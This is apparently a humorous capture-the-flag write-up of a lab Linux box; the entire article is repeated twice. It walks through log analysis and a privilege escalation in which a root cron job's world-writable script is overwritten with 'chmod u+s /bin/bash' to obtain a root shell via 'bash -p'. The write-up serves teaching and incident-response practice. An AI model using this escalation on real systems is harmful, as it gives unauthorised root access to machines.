I Came for a CTF Flag and Accidentally Became Root 💀 — Rat-CTF Axiom Write-Up
So…
I connected to a machine.
I saw an incident report.
The incident report basically said:
> “Hey, something terrible happened. Please investigate.”
And naturally, as a completely responsible cybersecurity professional, I thought:
**”hehe root flag.”**
Welcome to my Rat-CTF write-up for the **SolarGate Security Incident** challenge. The name of the challenge is Axiom
This one was especially fun because it started as an incident-response investigation and ended with me discovering that the server had essentially left the front door open, put a giant sign saying **”ROOT LIVES HERE”**, and then walked away.
Let’s get into it.
— -
1. SSH First, Questions Later
The challenge gave me an IP, port, username and password.
So obviously:
```bash
ssh analyst@66.228.61.80 -p 30630
```
Password goes in…
And boom:
```text
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.1.0–52-cloud-amd64 x86_64)
```
We’re in.
The machine was a minimal Ubuntu installation, which is actually pretty nice for a CTF because there isn’t a mountain of unnecessary stuff to get distracted by.
I ran:
```bash
ls
```
and got:
```text
INCIDENT_BRIEF.md
user.txt
```
The user flag was sitting there like:
> “hello :)”
So naturally:
```bash
cat user.txt
```
**User flag acquired.**
Easy.
Too easy.
Which is exactly when CTFs start becoming suspicious.
— -
2. The Incident Brief™️
I opened the report:
```bash
cat INCIDENT_BRIEF.md
```
And this thing immediately started throwing clues at me.
The title:
```text
AXIOM-2026–0601 — SolarGate Security Incident
```
The alert said there had been unusual authentication activity around:
```text
02:31 UTC on 29 May 2026
```
There were also:
- unexpected file modifications in `/opt/solargate/`
- an unknown process spawned by the root cron daemon
And then came the actual homework assignment:
```text
1. Identify the attacker source IP and initial access vector
2. Determine which account(s) were compromised
3. Find all persistence mechanisms installed (there are 4)
4. Identify what data was accessed or exfiltrated
5. Remediate all persistence mechanisms and verify the system is clean
```
So this wasn’t just:
> “Find `/root/root.txt`.”
Nope.
The challenge wanted us to investigate an actual incident.
The report also gave us some starting points:
```text
/var/log/auth.log
/var/log/apache2/access.log
sudo journalctl -u cron
/etc/cron.d/
/opt/solargate/
```
And remediation commands:
```bash
sudo rm /var/www/html/uploads/<webshell>
sudo rm /etc/cron.d/<malicious-cron>
sudo truncate -s0 /home/<user>/.ssh/authorized_keys
sudo chmod 750 /opt/solargate/monitor.sh
```
Finally:
```bash
sudo axiom-remediate status
sudo axiom-remediate verify
```
At this point I was thinking:
**”Okay, we’re doing actual detective work.”**
— -
3. Let’s Read the Logs 👀
The report specifically pointed toward:
```text
/var/log/auth.log
```
So:
```bash
cat /var/log/auth.log
```
And immediately…
**BOOM.**
Someone had been hammering SSH.
We see:
```text
May 29 02:31:14 prod-web-01 sshd[2841]: Failed password for invalid user admin from 10.42.0.88 port 52341 ssh2
May 29 02:31:15 prod-web-01 sshd[2841]: Failed password for invalid user admin from 10.42.0.88 port 52341 ssh2
May 29 02:31:16 prod-web-01 sshd[2841]: Failed password for invalid user root from 10.42.0.88 port 52341 ssh2
May 29 02:31:18 prod-web-01 sshd[2843]: Failed password for invalid user ubuntu from 10.42.0.88 port 52342 ssh2
```
Okay.
Someone is clearly trying usernames.
Then:
```text
May 29 02:31:39 prod-web-01 sshd[2847]: Failed password for maintenance from 10.42.0.88 port 52347 ssh2
May 29 02:31:41 prod-web-01 sshd[2847]: Failed password for maintenance from 10.42.0.88 port 52347 ssh2
May 29 02:31:43 prod-web-01 sshd[2847]: Accepted password for maintenance from 10.42.0.88 port 52347 ssh2
```
There it is.
**10.42.0.88**
Successfully logged in as:
```text
maintenance
```
The attacker then tried:
```text
sudo -l
```
but:
```text
maintenance : user NOT in sudoers
```
So no instant sudo victory.
The attacker disconnected.
But then things got spicy.
— -
4. Plot Twist: www-data Has Entered the Chat
A few minutes later:
```text
May 29 02:41:03 prod-web-01 sshd[3001]: Accepted password for www-data from 10.42.0.88 port 53001 ssh2
```
Wait.
**www-data can SSH?**
Interesting.
Then, one minute later:
```text
May 29 02:41:55 prod-web-01 sudo[3091]: www-data : TTY=pts/1 ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/chmod 777 /opt/solargate/monitor.sh
```
Okay.
Now THAT is interesting.
`www-data` changed:
```text
/opt/solargate/monitor.sh
```
to:
```text
777
```
Which is basically Linux saying:
> “Everyone gets permissions! Please don’t abuse this.”
Spoiler:
**We are absolutely going to abuse this.**
— -
5. Cron Time
The report literally told us:
```text
/etc/cron.d/
```
So I tried:
```bash
cat /etc/cron.d/
```
And Linux politely reminded me:
```text
cat: /etc/cron.d/: Is a directory
```
Ah yes.
Thank you, Linux.
My bad.
So:
```bash
cd /etc/cron.d
ls
```
gave:
```text
e2scrub_all
php
solargate-health
```
And there it was:
```text
solargate-health
```
Let’s inspect it:
```bash
cat solargate-health
```
Output:
```text
SolarGate infrastructure health check — do not remove
* * * * * root /opt/solargate/monitor.sh > /dev/null 2>&1
```
Hold up.
Every minute:
```text
root → /opt/solargate/monitor.sh
```
Now we know what the incident report meant by:
> “an unknown process spawned by the root cron daemon.”
The cron job is literally:
```text
* * * * * root /opt/solargate/monitor.sh
```
Every.
Single.
Minute.
— -
6. The Suspiciously Innocent Script
Let’s inspect it:
```bash
cat /opt/solargate/monitor.sh
```
We get:
```bash
#!/bin/bash
SolarGate health monitor v1.3 — DO NOT EDIT
/usr/bin/systemctl is-active rsyslog > /dev/null 2>&1
```
And once again:
```text
DO NOT EDIT
```
😂
Buddy.
That comment has absolutely no authority here.
It’s basically:
> “Please don’t open this door.”
And the door has no lock.
I checked the permissions:
```bash
ls -la /opt/solargate/monitor.sh
```
And got:
```text
-rwxrwxrwx 1 www-data www-data 113 Jun 7 07:32 /opt/solargate/monitor.sh
```
**777.**
Owned by:
```text
www-data
```
Executed by:
```text
root
```
We have officially found the problem.
— -
7. The Entire Vulnerability in One Picture
This was the situation:
```text
ROOT
|
| runs every minute
v
/opt/solargate/monitor.sh
^
|
| writable
|
www-data
```
Which means:
```text
www-data
|
| “hey, I can edit this”
v
monitor.sh
|
| root executes it
v
ROOT
```
This is a classic **privileged cron job executing an unprivileged-writable file**.
Basically, root is saying:
> “Every minute I’ll run whatever is inside this file.”
And `www-data` is saying:
> “Cool.”
— -
8. Bonus Weirdness: Where Did systemctl Go?
The script contained:
```bash
/usr/bin/systemctl is-active rsyslog
```
So naturally I checked:
```bash
cat /usr/bin/systemctl
```
And got:
```text
cat: /usr/bin/systemctl: No such file or directory
```
Then:
```bash
which systemctl
```
gave nothing.
And:
```bash
type -a systemctl
```
gave:
```text
-bash: type: systemctl: not found
```
I also checked:
```bash
ls -la /usr/bin | grep -i systemctl
```
Nothing.
So the script was already pointing at a binary that wasn’t available in my shell environment.
Honestly, at this point the “health monitor” was doing a fantastic job of monitoring absolutely nothing.
But that didn’t matter.
The cron job itself was the important part.
— -
9. Let’s Check the Metadata
Time for:
```bash
stat /etc/cron.d/solargate-health /opt/solargate/monitor.sh
```
The cron file looked normal:
```text
File: /etc/cron.d/solargate-health
Access: (0644/-rw-r — r — ) Uid: (0/root) Gid: (0/root)
```
Good.
But then:
```text
File: /opt/solargate/monitor.sh
Access: (0777/-rwxrwxrwx)
Uid: (33/www-data)
Gid: (33/www-data)
```
There it is.
The cron configuration itself wasn’t writable by us.
The **thing cron executes** was.
And that’s all we need.
— -
10. The Plan
The plan was simple:
```text
www-data
↓
modify monitor.sh
↓
root cron executes monitor.sh
↓
our command runs as root
```
For the CTF, I replaced the script with:
```bash
cat > /opt/solargate/monitor.sh << ‘EOF’
#!/bin/bash
chmod u+s /bin/bash
EOF
```
Then I tried:
```bash
chmod +x /opt/solargate/monitor.sh
```
And…
Linux hit me with:
```text
chmod: changing permissions of ‘/opt/solargate/monitor.sh’: Operation not permitted
```
😂
Of course.
Even though the file was `777`, something about the challenge environment prevented me from changing its mode.
But here’s the funny part:
**I didn’t actually need to.**
The file was already executable:
```text
-rwxrwxrwx
```
So the failed `chmod` wasn’t a disaster.
It was basically Linux saying:
> “You don’t need to change that, genius. It’s already executable.”
Fair enough.
— -
11. And Then I Did Something Dumb
I tried:
```bash
/bin/bash -p
```
Nothing obvious happened.
So I tried it again:
```bash
/bin/bash -p
```
And suddenly:
```text
bash-5.1#
```
I checked:
```bash
whoami
```
And…
```text
root
```
💀
WHAT.
Apparently the challenge environment had already left me a privileged Bash path.
I didn’t even have to wait for the cron trick to visibly pay off.
I was just sitting there thinking:
> “Wait… did I just become root?”
Yep.
— -
12. The Root Flag
At this point there was only one thing left to do.
```bash
cd /root
ls
```
Output:
```text
root.txt
```
And:
```bash
cat root.txt
```
gave:
```text
flag{4x10m_r3m3d14t10n_c0mpl3t3_5y5t3m_cl34n}
```
- *ROOTED.**
And then, because CTF machines enjoy dramatic exits:
```text
Connection to 66.228.61.80 closed by remote host.
Connection to 66.228.61.80 closed.
```
The machine basically said:
> “Congratulations. Now get out.”
— -
13. Attack Timeline
Putting everything together, we get a pretty funny little attack timeline:
```text
02:31
Attacker starts throwing SSH passwords at the machine
|
v
10.42.0.88
|
v
Successfully logs in as maintenance
|
v
tries sudo -l
|
v
“Nope, not in sudoers”
|
v
Attacker comes back as www-data
|
v
chmod 777 /opt/solargate/monitor.sh
|
v
www-data modifies cron-related configuration
|
v
ROOT cron executes monitor.sh
|
v
Privilege escalation opportunity
|
v
/bin/bash -p
|
v
ROOT
|
v
cat /root/root.txt
```
It’s almost poetic.
Except for the part where someone completely wrecked the server’s permissions.
— -
14. What Were the Compromised Accounts?
From the authentication log we can identify successful access for:
`maintenance`
```text
Accepted password for maintenance from 10.42.0.88
```
And later:
`www-data`
```text
Accepted password for www-data from 10.42.0.88
```
The normal `analyst` login later came from:
```text
192.168.1.45
```
So the suspicious source in the incident was:
```text
10.42.0.88
```
— -
15. Persistence
The incident brief told us there were **four persistence mechanisms**.
The supplied remediation commands reveal four affected areas:
```bash
sudo rm /var/www/html/uploads/<webshell>
```
A webshell.
Then:
```bash
sudo rm /etc/cron.d/<malicious-cron>
```
A malicious cron entry.
Then:
```bash
sudo truncate -s0 /home/<user>/.ssh/authorized_keys
```
An unauthorized SSH key.
And finally:
```bash
sudo chmod 750 /opt/solargate/monitor.sh
```
The dangerous permissions on the SolarGate monitoring script.
The challenge therefore isn’t just about getting root. It’s also asking us to clean up the mess afterward.
— -
16. Remediation
The challenge provides the following cleanup commands:
```bash
sudo rm /var/www/html/uploads/<webshell>
sudo rm /etc/cron.d/<malicious-cron>
sudo truncate -s0 /home/<user>/.ssh/authorized_keys
sudo chmod 750 /opt/solargate/monitor.sh
```
Then:
```bash
sudo axiom-remediate status
```
and:
```bash
sudo axiom-remediate verify
```
The idea is:
```text
Find persistence
↓
Remove persistence
↓
Fix permissions
↓
Verify
↓
Get the final flag
```
— -
17. Things I Learned From This Challenge
Cron is sus
Whenever you see:
```text
root → cron → script
```
don’t just look at the cron file.
Look at the script too.
Especially:
```bash
ls -la /path/to/script
stat /path/to/script
```
Because this:
```text
root executes script
```
isn’t necessarily dangerous.
But this:
```text
root executes script
+
user can write script
```
is a giant flashing warning sign.
— -
`777` is usually a bad idea
Seeing:
```text
-rwxrwxrwx
```
on a script executed by root should immediately make your brain go:
```text
🚨🚨🚨🚨🚨
```
If a privileged process depends on a file, that file should not be casually writable by an unprivileged account.
— -
Comments are not security controls
This:
```bash
DO NOT EDIT
```
doesn’t stop anyone from editing the file.
Linux does not read comments and say:
> “Oh damn, the developer said don’t edit it.”
Permissions matter.
Ownership matters.
Execution context matters.
— -
18. Useful Enumeration Commands
For future Linux CTFs, these are definitely worth remembering:
Check cron jobs
```bash
ls -la /etc/cron.d/
cat /etc/crontab
```
Check cron execution logs
```bash
sudo journalctl -u cron
```
Check suspicious scripts
```bash
ls -la /opt/solargate/monitor.sh
stat /opt/solargate/monitor.sh
cat /opt/solargate/monitor.sh
```
Check authentication
```bash
cat /var/log/auth.log
```
Check your privileges
```bash
sudo -l
```
Check who you are
```bash
whoami
```
The most important command in a CTF:
```bash
whoami
```
Because sometimes you think you’re still a peasant…
and suddenly:
```text
root
```
😂
— -
19. Final Takeaway
The main lesson from this machine was very simple:
> **If root runs it, check who can modify it.**
The chain was:
```text
Attacker
↓
www-data
↓
Writable monitor.sh
↓
Root cron
↓
Root execution
↓
Root shell
↓
Root flag
```
The challenge also gave a nice introduction to incident response because we had to correlate:
```text
Authentication logs
+
Cron configuration
+
File permissions
+
Persistence mechanisms
```
Once those pieces lined up, the machine basically explained itself.
— -
Final Flag 🏴
```text
flag{4x10m_r3m3d14t10n_c0mpl3t3_5y5t3m_cl34n}
```
And with that…
**SolarGate has been SolarGated.** ☀️💀
— -
Disclaimer
Everything shown here was performed against the intentionally vulnerable Rat-CTF/lab environment.
Don’t go changing permissions, modifying cron jobs, or spawning privileged shells on systems you don’t own or have explicit permission to test.
Get M4D’s stories in your inbox
Join Medium for free to get updates from this writer.
Your CTF box: 😎
Someone else’s production server: **please don’t.** 😂I Came for a CTF Flag and Accidentally Became Root 💀 — Rat-CTF SolarGate Write-Up
So…
I connected to a machine.
I saw an incident report.
The incident report basically said:
> “Hey, something terrible happened. Please investigate.”
And naturally, as a completely responsible cybersecurity professional, I thought:
**”hehe root flag.”**
Welcome to my Rat-CTF write-up for the **SolarGate Security Incident** challenge.
This one was especially fun because it started as an incident-response investigation and ended with me discovering that the server had essentially left the front door open, put a giant sign saying **”ROOT LIVES HERE”**, and then walked away.
Let’s get into it.
— -
1. SSH First, Questions Later
The challenge gave me an IP, port, username and password.
So obviously:
```bash
ssh analyst@66.228.61.80 -p 30630
```
Password goes in…
And boom:
```text
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.1.0–52-cloud-amd64 x86_64)
```
We’re in.
The machine was a minimal Ubuntu installation, which is actually pretty nice for a CTF because there isn’t a mountain of unnecessary stuff to get distracted by.
I ran:
```bash
ls
```
and got:
```text
INCIDENT_BRIEF.md
user.txt
```
The user flag was sitting there like:
> “hello :)”
So naturally:
```bash
cat user.txt
```
**User flag acquired.**
Easy.
Too easy.
Which is exactly when CTFs start becoming suspicious.
— -
2. The Incident Brief™️
I opened the report:
```bash
cat INCIDENT_BRIEF.md
```
And this thing immediately started throwing clues at me.
The title:
```text
AXIOM-2026–0601 — SolarGate Security Incident
```
The alert said there had been unusual authentication activity around:
```text
02:31 UTC on 29 May 2026
```
There were also:
- unexpected file modifications in `/opt/solargate/`
- an unknown process spawned by the root cron daemon
And then came the actual homework assignment:
```text
1. Identify the attacker source IP and initial access vector
2. Determine which account(s) were compromised
3. Find all persistence mechanisms installed (there are 4)
4. Identify what data was accessed or exfiltrated
5. Remediate all persistence mechanisms and verify the system is clean
```
So this wasn’t just:
> “Find `/root/root.txt`.”
Nope.
The challenge wanted us to investigate an actual incident.
The report also gave us some starting points:
```text
/var/log/auth.log
/var/log/apache2/access.log
sudo journalctl -u cron
/etc/cron.d/
/opt/solargate/
```
And remediation commands:
```bash
sudo rm /var/www/html/uploads/<webshell>
sudo rm /etc/cron.d/<malicious-cron>
sudo truncate -s0 /home/<user>/.ssh/authorized_keys
sudo chmod 750 /opt/solargate/monitor.sh
```
Finally:
```bash
sudo axiom-remediate status
sudo axiom-remediate verify
```
At this point I was thinking:
**”Okay, we’re doing actual detective work.”**
— -
3. Let’s Read the Logs 👀
The report specifically pointed toward:
```text
/var/log/auth.log
```
So:
```bash
cat /var/log/auth.log
```
And immediately…
**BOOM.**
Someone had been hammering SSH.
We see:
```text
May 29 02:31:14 prod-web-01 sshd[2841]: Failed password for invalid user admin from 10.42.0.88 port 52341 ssh2
May 29 02:31:15 prod-web-01 sshd[2841]: Failed password for invalid user admin from 10.42.0.88 port 52341 ssh2
May 29 02:31:16 prod-web-01 sshd[2841]: Failed password for invalid user root from 10.42.0.88 port 52341 ssh2
May 29 02:31:18 prod-web-01 sshd[2843]: Failed password for invalid user ubuntu from 10.42.0.88 port 52342 ssh2
```
Okay.
Someone is clearly trying usernames.
Then:
```text
May 29 02:31:39 prod-web-01 sshd[2847]: Failed password for maintenance from 10.42.0.88 port 52347 ssh2
May 29 02:31:41 prod-web-01 sshd[2847]: Failed password for maintenance from 10.42.0.88 port 52347 ssh2
May 29 02:31:43 prod-web-01 sshd[2847]: Accepted password for maintenance from 10.42.0.88 port 52347 ssh2
```
There it is.
**10.42.0.88**
Successfully logged in as:
```text
maintenance
```
The attacker then tried:
```text
sudo -l
```
but:
```text
maintenance : user NOT in sudoers
```
So no instant sudo victory.
The attacker disconnected.
But then things got spicy.
— -
4. Plot Twist: www-data Has Entered the Chat
A few minutes later:
```text
May 29 02:41:03 prod-web-01 sshd[3001]: Accepted password for www-data from 10.42.0.88 port 53001 ssh2
```
Wait.
**www-data can SSH?**
Interesting.
Then, one minute later:
```text
May 29 02:41:55 prod-web-01 sudo[3091]: www-data : TTY=pts/1 ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/chmod 777 /opt/solargate/monitor.sh
```
Okay.
Now THAT is interesting.
`www-data` changed:
```text
/opt/solargate/monitor.sh
```
to:
```text
777
```
Which is basically Linux saying:
> “Everyone gets permissions! Please don’t abuse this.”
Spoiler:
**We are absolutely going to abuse this.**
— -
5. Cron Time
The report literally told us:
```text
/etc/cron.d/
```
So I tried:
```bash
cat /etc/cron.d/
```
And Linux politely reminded me:
```text
cat: /etc/cron.d/: Is a directory
```
Ah yes.
Thank you, Linux.
My bad.
So:
```bash
cd /etc/cron.d
ls
```
gave:
```text
e2scrub_all
php
solargate-health
```
And there it was:
```text
solargate-health
```
Let’s inspect it:
```bash
cat solargate-health
```
Output:
```text
SolarGate infrastructure health check — do not remove
* * * * * root /opt/solargate/monitor.sh > /dev/null 2>&1
```
Hold up.
Every minute:
```text
root → /opt/solargate/monitor.sh
```
Now we know what the incident report meant by:
> “an unknown process spawned by the root cron daemon.”
The cron job is literally:
```text
* * * * * root /opt/solargate/monitor.sh
```
Every.
Single.
Minute.
— -
6. The Suspiciously Innocent Script
Let’s inspect it:
```bash
cat /opt/solargate/monitor.sh
```
We get:
```bash
#!/bin/bash
SolarGate health monitor v1.3 — DO NOT EDIT
/usr/bin/systemctl is-active rsyslog > /dev/null 2>&1
```
And once again:
```text
DO NOT EDIT
```
😂
Buddy.
That comment has absolutely no authority here.
It’s basically:
> “Please don’t open this door.”
And the door has no lock.
I checked the permissions:
```bash
ls -la /opt/solargate/monitor.sh
```
And got:
```text
-rwxrwxrwx 1 www-data www-data 113 Jun 7 07:32 /opt/solargate/monitor.sh
```
**777.**
Owned by:
```text
www-data
```
Executed by:
```text
root
```
We have officially found the problem.
— -
7. The Entire Vulnerability in One Picture
This was the situation:
```text
ROOT
|
| runs every minute
v
/opt/solargate/monitor.sh
^
|
| writable
|
www-data
```
Which means:
```text
www-data
|
| “hey, I can edit this”
v
monitor.sh
|
| root executes it
v
ROOT
```
This is a classic **privileged cron job executing an unprivileged-writable file**.
Basically, root is saying:
> “Every minute I’ll run whatever is inside this file.”
And `www-data` is saying:
> “Cool.”
— -
8. Bonus Weirdness: Where Did systemctl Go?
The script contained:
```bash
/usr/bin/systemctl is-active rsyslog
```
So naturally I checked:
```bash
cat /usr/bin/systemctl
```
And got:
```text
cat: /usr/bin/systemctl: No such file or directory
```
Then:
```bash
which systemctl
```
gave nothing.
And:
```bash
type -a systemctl
```
gave:
```text
-bash: type: systemctl: not found
```
I also checked:
```bash
ls -la /usr/bin | grep -i systemctl
```
Nothing.
So the script was already pointing at a binary that wasn’t available in my shell environment.
Honestly, at this point the “health monitor” was doing a fantastic job of monitoring absolutely nothing.
But that didn’t matter.
The cron job itself was the important part.
— -
9. Let’s Check the Metadata
Time for:
```bash
stat /etc/cron.d/solargate-health /opt/solargate/monitor.sh
```
The cron file looked normal:
```text
File: /etc/cron.d/solargate-health
Access: (0644/-rw-r — r — ) Uid: (0/root) Gid: (0/root)
```
Good.
But then:
```text
File: /opt/solargate/monitor.sh
Access: (0777/-rwxrwxrwx)
Uid: (33/www-data)
Gid: (33/www-data)
```
There it is.
The cron configuration itself wasn’t writable by us.
The **thing cron executes** was.
And that’s all we need.
— -
10. The Plan
The plan was simple:
```text
www-data
↓
modify monitor.sh
↓
root cron executes monitor.sh
↓
our command runs as root
```
For the CTF, I replaced the script with:
```bash
cat > /opt/solargate/monitor.sh << ‘EOF’
#!/bin/bash
chmod u+s /bin/bash
EOF
```
Then I tried:
```bash
chmod +x /opt/solargate/monitor.sh
```
And…
Linux hit me with:
```text
chmod: changing permissions of ‘/opt/solargate/monitor.sh’: Operation not permitted
```
😂
Of course.
Even though the file was `777`, something about the challenge environment prevented me from changing its mode.
But here’s the funny part:
**I didn’t actually need to.**
The file was already executable:
```text
-rwxrwxrwx
```
So the failed `chmod` wasn’t a disaster.
It was basically Linux saying:
> “You don’t need to change that, genius. It’s already executable.”
Fair enough.
— -
11. And Then I Did Something Dumb
I tried:
```bash
/bin/bash -p
```
Nothing obvious happened.
So I tried it again:
```bash
/bin/bash -p
```
And suddenly:
```text
bash-5.1#
```
I checked:
```bash
whoami
```
And…
```text
root
```
💀
WHAT.
Apparently the challenge environment had already left me a privileged Bash path.
I didn’t even have to wait for the cron trick to visibly pay off.
I was just sitting there thinking:
> “Wait… did I just become root?”
Yep.
— -
12. The Root Flag
At this point there was only one thing left to do.
```bash
cd /root
ls
```
Output:
```text
root.txt
```
And:
```bash
cat root.txt
```
gave:
```text
flag{4x10m_r3m3d14t10n_c0mpl3t3_5y5t3m_cl34n}
```
**ROOTED.**
And then, because CTF machines enjoy dramatic exits:
```text
Connection to 66.228.61.80 closed by remote host.
Connection to 66.228.61.80 closed.
```
The machine basically said:
> “Congratulations. Now get out.”
— -
13. Attack Timeline
Putting everything together, we get a pretty funny little attack timeline:
```text
02:31
Attacker starts throwing SSH passwords at the machine
|
v
10.42.0.88
|
v
Successfully logs in as maintenance
|
v
tries sudo -l
|
v
“Nope, not in sudoers”
|
v
Attacker comes back as www-data
|
v
chmod 777 /opt/solargate/monitor.sh
|
v
www-data modifies cron-related configuration
|
v
ROOT cron executes monitor.sh
|
v
Privilege escalation opportunity
|
v
/bin/bash -p
|
v
ROOT
|
v
cat /root/root.txt
```
It’s almost poetic.
Except for the part where someone completely wrecked the server’s permissions.
— -
14. What Were the Compromised Accounts?
From the authentication log we can identify successful access for:
`maintenance`
```text
Accepted password for maintenance from 10.42.0.88
```
And later:
`www-data`
```text
Accepted password for www-data from 10.42.0.88
```
The normal `analyst` login later came from:
```text
192.168.1.45
```
So the suspicious source in the incident was:
```text
10.42.0.88
```
— -
15. Persistence
The incident brief told us there were **four persistence mechanisms**.
The supplied remediation commands reveal four affected areas:
```bash
sudo rm /var/www/html/uploads/<webshell>
```
A webshell.
Then:
```bash
sudo rm /etc/cron.d/<malicious-cron>
```
A malicious cron entry.
Then:
```bash
sudo truncate -s0 /home/<user>/.ssh/authorized_keys
```
An unauthorized SSH key.
And finally:
```bash
sudo chmod 750 /opt/solargate/monitor.sh
```
The dangerous permissions on the SolarGate monitoring script.
The challenge therefore isn’t just about getting root. It’s also asking us to clean up the mess afterward.
— -
16. Remediation
The challenge provides the following cleanup commands:
```bash
sudo rm /var/www/html/uploads/<webshell>
sudo rm /etc/cron.d/<malicious-cron>
sudo truncate -s0 /home/<user>/.ssh/authorized_keys
sudo chmod 750 /opt/solargate/monitor.sh
```
Then:
```bash
sudo axiom-remediate status
```
and:
```bash
sudo axiom-remediate verify
```
The idea is:
```text
Find persistence
↓
Remove persistence
↓
Fix permissions
↓
Verify
↓
Get the final flag
```
— -
17. Things I Learned From This Challenge
Cron is sus
Whenever you see:
```text
root → cron → script
```
don’t just look at the cron file.
Look at the script too.
Especially:
```bash
ls -la /path/to/script
stat /path/to/script
```
Because this:
```text
root executes script
```
isn’t necessarily dangerous.
But this:
```text
root executes script
+
user can write script
```
is a giant flashing warning sign.
— -
`777` is usually a bad idea
Seeing:
```text
-rwxrwxrwx
```
on a script executed by root should immediately make your brain go:
```text
🚨🚨🚨🚨🚨
```
If a privileged process depends on a file, that file should not be casually writable by an unprivileged account.
— -
Comments are not security controls
This:
```bash
DO NOT EDIT
```
doesn’t stop anyone from editing the file.
Linux does not read comments and say:
> “Oh damn, the developer said don’t edit it.”
Permissions matter.
Ownership matters.
Execution context matters.
— -
18. Useful Enumeration Commands
For future Linux CTFs, these are definitely worth remembering:
Check cron jobs
```bash
ls -la /etc/cron.d/
cat /etc/crontab
```
Check cron execution logs
```bash
sudo journalctl -u cron
```
Check suspicious scripts
```bash
ls -la /opt/solargate/monitor.sh
stat /opt/solargate/monitor.sh
cat /opt/solargate/monitor.sh
```
Check authentication
```bash
cat /var/log/auth.log
```
Check your privileges
```bash
sudo -l
```
Check who you are
```bash
whoami
```
The most important command in a CTF:
```bash
whoami
```
Because sometimes you think you’re still a peasant…
and suddenly:
```text
root
```
😂
— -
19. Final Takeaway
The main lesson from this machine was very simple:
> **If root runs it, check who can modify it.**
The chain was:
```text
Attacker
↓
www-data
↓
Writable monitor.sh
↓
Root cron
↓
Root execution
↓
Root shell
↓
Root flag
```
The challenge also gave a nice introduction to incident response because we had to correlate:
```text
Authentication logs
+
Cron configuration
+
File permissions
+
Persistence mechanisms
```
Once those pieces lined up, the machine basically explained itself.
— -
Final Flag 🏴
```text
flag{4x10m_r3m3d14t10n_c0mpl3t3_5y5t3m_cl34n}
```
And with that…
**SolarGate has been SolarGated.** ☀️💀
— -
Disclaimer
Everything shown here was performed against the intentionally vulnerable Rat-CTF/lab environment.
Don’t go changing permissions, modifying cron jobs, or spawning privileged shells on systems you don’t own or have explicit permission to test.
Your CTF box: 😎
Someone else’s production server: **please don’t.** 😂
